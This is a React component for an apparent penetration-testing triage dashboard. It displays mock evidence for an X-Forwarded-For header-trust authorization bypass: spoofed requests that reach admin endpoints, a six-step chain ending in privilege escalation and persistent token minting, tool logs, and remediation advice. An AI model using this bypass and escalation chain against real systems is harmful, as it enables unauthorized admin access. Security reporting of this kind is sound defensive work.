/* global React, I, FINDINGS */
const { useState: useStateD2 } = React;

const Code = ({ html, style }) => (
  <pre className="code" style={style} dangerouslySetInnerHTML={{ __html: html }}/>
);

function Detail({ findingId, back }) {
  const f = FINDINGS.find(x => x.id === findingId) || FINDINGS[0];
  const [tab, setTab] = useStateD2('http');

  return (
    <>
      <div className="section-head">
        <div>
          <h1>
            <span className="tag" style={{ color: f.sev === 'crit' ? 'var(--accent)' : f.sev === 'high' ? 'var(--high)' : 'var(--warn)' }}>
              {f.sev.toUpperCase()}
            </span>
            {f.id} · {f.title}
          </h1>
          <div className="sub">
            <span className="lnk" onClick={back} style={{ cursor: 'pointer', color: 'var(--text-1)' }}>← triage queue</span>
            &nbsp;&nbsp;·&nbsp; {f.cwe} · CVSS {f.cvss} · src {f.src}
          </div>
        </div>
        <div className="actions">
          <button className="btn ghost"><I.copy/> Copy curl</button>
          <button className="btn"><I.download/> Evidence pack</button>
          <button className="btn primary"><I.check/> Confirm & report</button>
        </div>
      </div>

      <div className="content" style={{ padding: 14, overflow: 'hidden' }}>
        <div className="detail-grid">
          <div className="detail-main">
            <div className="detail-head">
              <div className="left">
                <div className="id">{f.id} · promoted by CIPHER · validated by r.shibata · {f.age} ago</div>
                <div className="h">{f.title}</div>
                <div className="meta-row">
                  <span>method:<b>{f.method}</b></span>
                  <span>target:<b>{f.target}</b></span>
                  <span>auth:<b>cookie+jwt</b></span>
                  <span>repro:<b>3/3 attempts</b></span>
                  <span>confidence:<b style={{ color: 'var(--accent)' }}>{(f.conf*100).toFixed(0)}%</b></span>
                </div>
              </div>
            </div>

            <div className="evidence">
              <div className="ev-tabs">
                {[['http','HTTP exchange'],['diff','authorised vs bypass'],['chain','exploit chain'],['logs','tool logs']].map(([k,l]) => (
                  <span key={k} className={`t ${tab === k ? 'active' : ''}`} onClick={() => setTab(k)}>{l}</span>
                ))}
                <div className="right">
                  <span className="kbd">3/3</span>
                  <span style={{ color: 'var(--text-2)' }}>captured 04:18:22 UTC+09</span>
                  <span className="lnk" style={{ color: 'var(--text-2)' }}><I.ext/></span>
                </div>
              </div>

              {tab === 'http' && (
                <div className="code-pair">
                  <div className="pane">
                    <h3>REQUEST <span className="label">malicious</span></h3>
                    <Code html={`<span class="k">GET</span> <span class="url">/admin/users?page=1</span> HTTP/2
<span class="h">Host</span>: shop.merid.example.com
<span class="h">User-Agent</span>: <span class="s">"Authify-Probe/3.1"</span>
<span class="h">Cookie</span>: session_id=<span class="s">"u_28814.tier=member"</span>
<span class="h">Authorization</span>: <span class="s">"Bearer eyJhbGciOi…"</span>
<span class="hi">X-Forwarded-For: 10.0.0.7</span>
<span class="h">Accept</span>: application/json
<span class="h">X-Request-Id</span>: <span class="s">"a91c…f02"</span>

<span class="c"># Payload: low-priv user adds RFC1918 XFF.</span>
<span class="c"># Edge proxy strips it on prod, but staging origin trusts it.</span>`}/>
                  </div>
                  <div className="pane">
                    <h3>RESPONSE <span className="label" style={{ color: 'var(--accent)', borderColor: 'var(--accent-line)' }}>200 — bypassed</span></h3>
                    <Code html={`HTTP/2 <span class="hi">200</span> OK
<span class="h">Content-Type</span>: application/json
<span class="h">X-Auth-Mode</span>: <span class="hi">internal</span>
<span class="h">X-Powered-By</span>: <span class="s">"merid-edge/4.2"</span>

{
  <span class="h">"users"</span>: [
    { <span class="h">"id"</span>: <span class="n">1</span>,
      <span class="h">"email"</span>: <span class="s">"root@merid.example.com"</span>,
      <span class="h">"role"</span>: <span class="s">"superadmin"</span>,
      <span class="h">"mfa"</span>: <span class="n">false</span> },
    { <span class="h">"id"</span>: <span class="n">2</span>,
      <span class="h">"email"</span>: <span class="s">"finance@merid.example.com"</span>,
      <span class="h">"role"</span>: <span class="s">"admin"</span> },
    <span class="c">/* + 38 more */</span>
  ],
  <span class="h">"total"</span>: <span class="n">40</span>
}`}/>
                  </div>
                </div>
              )}

              {tab === 'diff' && (
                <div className="code-pair">
                  <div className="pane">
                    <h3>BASELINE <span className="label">no XFF</span></h3>
                    <Code html={`<span class="k">GET</span> /admin/users HTTP/2
<span class="h">Cookie</span>: session_id=member
<span class="h">Authorization</span>: Bearer ey…

<span class="del">→ HTTP/2 401 Unauthorized
{ "error": "admin scope required" }</span>`}/>
                  </div>
                  <div className="pane">
                    <h3>BYPASS <span className="label" style={{ color: 'var(--accent)', borderColor: 'var(--accent-line)' }}>+ XFF 10.0.0.7</span></h3>
                    <Code html={`<span class="k">GET</span> /admin/users HTTP/2
<span class="h">Cookie</span>: session_id=member
<span class="h">Authorization</span>: Bearer ey…
<span class="add">X-Forwarded-For: 10.0.0.7</span>

<span class="add">→ HTTP/2 200 OK
{ "users": [...40 records...] }</span>`}/>
                  </div>
                </div>
              )}

              {tab === 'chain' && (
                <div style={{ flex: 1, padding: 18, overflow: 'auto', background: '#06070a', fontFamily: 'var(--font-mono)', fontSize: 12, color: 'var(--text-1)' }}>
                  <div className="steps">
                    <div className="step done"><span className="num">1</span><div><div className="t">register low-priv account</div><div className="desc">POST /signup → tier=member, no MFA required</div></div></div>
                    <div className="step done"><span className="num">2</span><div><div className="t">capture session via Burp macro</div><div className="desc">macro authflow.macro · session_id u_28814</div></div></div>
                    <div className="step done"><span className="num">3</span><div><div className="t">probe /admin/* with XFF spray</div><div className="desc">Autorize · 12 RFC1918 candidates · 10.0.0.7 trusted</div></div></div>
                    <div className="step done"><span className="num">4</span><div><div className="t">enumerate admin endpoints</div><div className="desc">28 routes accessible · GET/PUT verbs both honour bypass</div></div></div>
                    <div className="step"><span className="num">5</span><div><div className="t">elevate to write — privilege escalation</div><div className="desc">PUT /admin/users/28814/role=superadmin · Track B confirmed offline</div></div></div>
                    <div className="step"><span className="num">6</span><div><div className="t">persist via API token mint</div><div className="desc">POST /admin/tokens · scope=full · 1y · pending client approval</div></div></div>
                  </div>
                </div>
              )}

              {tab === 'logs' && (
                <Code style={{ flex: 1 }} html={`<span class="c">[burp.scanner]</span> 04:14:08  active scan /admin/* started
<span class="c">[burp.autorize]</span> 04:14:22  testing 12 header-trust mutations
<span class="c">[burp.autorize]</span> 04:18:22  <span class="hi">positive</span> X-Forwarded-For=10.0.0.7 → 200
<span class="c">[caido.replay]</span>   04:18:24  cross-validate via authflow macro (3/3)
<span class="c">[atlas.web]</span>      04:18:25  candidate emitted → cipher queue
<span class="c">[cipher/web]</span>     04:18:26  classify=LIVE conf=0.96
<span class="c">[cipher/web]</span>     04:18:26  matched corpus pattern <span class="s">"edge-trust-bypass-v3"</span>
<span class="c">[cipher/web]</span>     04:18:27  promoted to F-0042
<span class="c">[atlas.web]</span>      04:18:28  vault sealed: req+resp+chain+har`}/>
              )}
            </div>
          </div>

          {/* Right rail */}
          <div className="rail">
            <div className="cipher-narr">
              <div className="head"><span className="dot"/>CIPHER · NARRATIVE</div>
              <p>This is a <b>real bypass</b>, not a scanner false-positive.</p>
              <p>The edge proxy strips <code>X-Forwarded-For</code> on the production tier. The staging origin still trusts it, and the admin sub-router treats RFC1918 sources as <code>internal</code> — skipping the auth middleware entirely.</p>
              <p>Confidence is high: <b>3/3</b> reproduction attempts, cross-validated by Burp + Caido, payload matches our corpus pattern <code>edge-trust-bypass-v3</code> (seen in 7 prior engagements, all confirmed exploitable).</p>
              <div className="conf-row"><span>cipher confidence</span><div className="bar"><i style={{ width: '96%' }}/></div><span style={{ color: 'var(--accent)' }}>0.96</span></div>
            </div>

            <div className="panel">
              <div className="panel-head"><div className="title">METADATA</div></div>
              <div className="panel-body">
                <div className="kv">
                  <span className="k">CWE</span><span className="v">{f.cwe}</span>
                  <span className="k">OWASP</span><span className="v">A01:2021 Broken AC</span>
                  <span className="k">CVSS 3.1</span><span className="v">{f.cvss} · CRITICAL</span>
                  <span className="k">Vector</span><span className="v" style={{ fontSize: 10 }}>AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N</span>
                  <span className="k">First seen</span><span className="v">04:18:22 UTC+09</span>
                  <span className="k">Reproductions</span><span className="v acc">3 / 3 · stable</span>
                  <span className="k">Affects</span><span className="v">staging · prod (untested)</span>
                  <span className="k">Operator</span><span className="v">r.shibata · Track B</span>
                  <span className="k">Vault</span><span className="v">sealed · evx-0042</span>
                </div>
              </div>
            </div>

            <div className="panel">
              <div className="panel-head"><div className="title">REMEDIATION (DRAFT)</div></div>
              <div className="panel-body" style={{ fontFamily: 'var(--font-mono)', fontSize: 11, color: 'var(--text-1)', lineHeight: 1.6 }}>
                <div style={{ paddingBottom: 8, borderBottom: '1px dashed var(--line)' }}>
                  <b style={{ color: 'var(--text-0)' }}>1. Strip XFF at staging edge</b><br/>
                  <span style={{ color: 'var(--text-2)' }}>match prod ingress policy — drop client-supplied XFF on all environments.</span>
                </div>
                <div style={{ padding: '8px 0', borderBottom: '1px dashed var(--line)' }}>
                  <b style={{ color: 'var(--text-0)' }}>2. Remove header-trust shortcut</b><br/>
                  <span style={{ color: 'var(--text-2)' }}>admin sub-router should require positive auth scope — never infer from network position.</span>
                </div>
                <div style={{ paddingTop: 8 }}>
                  <b style={{ color: 'var(--text-0)' }}>3. Add Autorize regression to CI</b><br/>
                  <span style={{ color: 'var(--text-2)' }}>fail build on any 200 from /admin/* with member-tier session.</span>
                </div>
              </div>
            </div>

            <div className="panel">
              <div className="panel-head"><div className="title">RELATED</div></div>
              <div className="panel-body" style={{ fontFamily: 'var(--font-mono)', fontSize: 11 }}>
                <div style={{ display: 'flex', justifyContent: 'space-between', padding: '4px 0', color: 'var(--text-1)' }}>
                  <span>F-0040 · IDOR cross-tenant</span><span className="acc">HIGH</span>
                </div>
                <div style={{ display: 'flex', justifyContent: 'space-between', padding: '4px 0', color: 'var(--text-1)' }}>
                  <span>F-0035 · mass assignment</span><span style={{ color: 'var(--warn)' }}>MED</span>
                </div>
                <div style={{ display: 'flex', justifyContent: 'space-between', padding: '4px 0', color: 'var(--text-1)' }}>
                  <span>edge-trust-bypass-v3 corpus</span><span style={{ color: 'var(--text-2)' }}>7 prior</span>
                </div>
              </div>
            </div>
          </div>
        </div>
      </div>
    </>
  );
}

window.Detail = Detail;